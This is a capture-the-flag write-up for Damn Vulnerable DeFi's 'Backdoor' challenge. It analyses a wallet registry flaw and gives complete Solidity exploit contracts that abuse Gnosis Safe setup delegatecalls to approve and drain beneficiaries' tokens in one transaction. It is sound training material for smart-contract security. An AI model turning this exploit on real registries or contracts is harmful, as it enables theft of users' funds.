Damn Vulnerable DeFi Backdoor Solution

Solution to Backdoor Damn Vulnerable DeFi #11

·

6 min read

Backdoor v3 features a registry of Gnosis Safe v1.3.0 wallets. The registry has been given an initial token allocation and a list of beneficiaries, and when those beneficiaries create Gnosis Safe wallets and register them with the registry, they are given some tokens as a reward. Our mission is to drain the registry of all its tokens.

Code Overview

Test Setup Analysis - backdoor.challenge.js

In this challenge, the biggest clues are to be found in the test file itself. Let's examine the victory conditions:

after(async function () {
    /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

    // Player must have used a single transaction
    expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

    for (let i = 0; i < users.length; i++) {
        let wallet = await walletRegistry.wallets(users[i]);

        // User must have registered a wallet
        expect(wallet).to.not.eq(
            ethers.constants.AddressZero,
            'User did not register a wallet'
        );

        // User is no longer registered as a beneficiary
        expect(
            await walletRegistry.beneficiaries(users[i])
        ).to.be.false;
    }

    // Player must own all tokens
    expect(
        await token.balanceOf(player.address)
    ).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});

The first requirement is that the attacker (player) must have only used 1 transaction; this tells us we'll need to deploy an attack contract that will perform the attack inside its constructor().

The second requirement is that each user must have registered a wallet & and that the users are no longer registered as beneficiaries inside WalletRegistry.beneficiaries. This suggests that the Gnosis Safe wallet setup is incomplete; the wallets have not been created & registered for the beneficiaries, and doing this will be part of our attack. With that in mind, let us turn our attention to the Wallet Registry itself.

Contract Vulnerability Analysis - WalletRegistry.sol

WalletRegistry implements the IProxyCreationCallback and the associated function proxyCreated() which is called by GnosisSafeProxyFactory.createProxyWithCallback() when a user uses that function to create a Gnosis Safe wallet.

One of the WalletRegistry.proxyCreated() parameters is bytes calldata initializer and there is an interesting hint:

// Ensure initial calldata was a call to `GnosisSafe::setup`
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
       revert InvalidInitialization();
}

This tells us that when we call GnosisSafeProxyFactory.createProxyWithCallback() to create wallets for the beneficiaries, the bytes initializer parameter must be the function selector of GnosisSafe.setup() plus the parameters.

GnosisSafe.setup() has two interesting parameters:

  • address to - Contract address for optional delegate call

  • bytes calldata data - Data payload for optional delegate call.

Thus after we create & deploy a Gnosis Safe wallet through GnosisSafeProxyFactory.createProxyWithCallback(), we can have the newly created GnosisSafeProxy during its setup() delegatecall to an arbitrary function with arbitrary parameters we control.

This will allow us to execute our attack code using the context of the newly created GnosisSafeProxy. Our attack code, executing with GnosisSafeProxy context, could call approve() on the token contract to approve our attack contract as a spender :-) This is useful as WalletRegistry.proxyCreated() transfer tokens to newly created GnosisSafeProxy, so after we'll be able to simply drain the tokens from the proxy.

We have everything required now to implement our attack, time to put it all together!

Exploit Implementation

First need an extra import in WalletRegistry.sol to use the GnosisSafeProxyFactory that we'll need to create wallets:

import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
// @audit additional import
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

Next at the bottom of WalletRegistry.sol we'll start to code our exploit. Recall that we have to perform it in 1 transaction to pass the test requirements. This means the exploit will have to occur in our attack contract's constructor() - but then how can we get GnosisSafe.setup() to delegatecall back to a function we control when our attack contract's constructor hasn't finished executing?

The solution is to create a 2nd callback attack contract, and have the first attack contract create the 2nd one in its constructor before executing the exploit:

// the challenge requires we complete it in 1 transaction, so the main attack must happen
// in attack contract constructor. Hence that constructor needs to create this additional contract
// so that this external function can exist allowing GnosisSafeProxy to delegatecall() to it
contract DelegateCallbackAttack {
    // this will be called by newly created GnosisSafeProxy using delegatecall()
    // this allows attacker to execute arbitrary code using GnosisSafeProxy context;
    // use this to approve token transfer for main attack contract
    function delegateCallback(address token, address spender, uint256 drainAmount) external {
        IERC20(token).approve(spender, drainAmount);
    }
}

Next we create our main attack contract:

contract WalletRegistryAttack {
    uint256 immutable DRAIN_AMOUNT = 10 ether;

    // attack execute in constructor to pass 1 transaction requirement
    constructor(address[] memory _initialBeneficiaries,
                address          _walletRegistry ) {

        DelegateCallbackAttack delegateCallback = new DelegateCallbackAttack();
        WalletRegistry walletRegistry       = WalletRegistry(_walletRegistry);
        GnosisSafeProxyFactory proxyFactory = GnosisSafeProxyFactory(walletRegistry.walletFactory());
        IERC20 token                        = walletRegistry.token();

        for (uint8 i = 0; i < _initialBeneficiaries.length;) {       
            // corresponds to GnosisSafe.setup(address[] calldata _owners) - the owners of this
            // safe, in our case each safe will have one owner, the beneficiary.
            address[] memory owners = new address[](1);
            owners[0] = _initialBeneficiaries[i];

            // corresponds to GnosisSafeProxyFactory.createProxyWithCallback(..,bytes memory initializer,..)
            // has function selector = GnosisSafe.setup.selector
            // and parameters corresponding to GnosisSafe.setup()
            bytes memory initializer = abi.encodeWithSelector(
                GnosisSafe.setup.selector, // function selector = GnosisSafe.setup.selector
                owners,                    // 1 safe owner; the beneficiary
                1,                         // 1 confirmation required for a safe transaction
                address(delegateCallback), // delegatecall() from new GnosisSafeProxy into attack contract
                                           // function selector of delegatecall attack function + params
                abi.encodeWithSelector(DelegateCallbackAttack.delegateCallback.selector, 
                                       address(token), address(this), DRAIN_AMOUNT),
                address(0),                // no fallbackHandler
                address(0),                // no paymentToken
                0,                         // no payment
                address(0)                 // no paymentReceiver
            );

            // Next using our payload, create the wallet (proxy) for each beneficiary. 
            // This should have been done as part of the initial GnosisSafe setup, 
            // this not being done is what allows us to do it and exploit the contract
            GnosisSafeProxy safeProxy = proxyFactory.createProxyWithCallback(
                walletRegistry.masterCopy(), 
                initializer, 
                i, // nonce used to generate salt to calculate address of new proxy contract
                // callback to WalletRegistry.proxyCreated() after new proxy deployed & initialized
                IProxyCreationCallback(_walletRegistry) 
            );

            // At this point the GnosisSafeFactory has deployed & initialized the new GnosisSafeProxy,
            // and has used delegatecall() to execute our attack callback function which
            // called DVT.approve() with GnosisSafeProxy context, making our attack contract 
            // an the approved spender. All that is left to do is directly call DVT.transferFrom() 
            // with new proxy address to drain wallet
            require(token.allowance(address(safeProxy), address(this)) == DRAIN_AMOUNT);
            token.transferFrom(address(safeProxy), msg.sender, DRAIN_AMOUNT);

            unchecked{++i;}
        }
    }
}

Then deploy our attack contract in backdoor.challenge.js. Note I needed to specify a manual gasLimit due to hardhat complaining that it couldn't estimate the gas required for the transaction - doing the attack in the constructor can cause this, get around it by manually specifying gasLimit:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    await (await ethers.getContractFactory('WalletRegistryAttack', player)).deploy(
        users, walletRegistry.address, {gasLimit: 30000000}
    );
});

Finally run the test & verify it all works: npx hardhat test --grep "Backdoor"

Full code is available in my Damn Vulnerable DeFi v3 Solutions repo.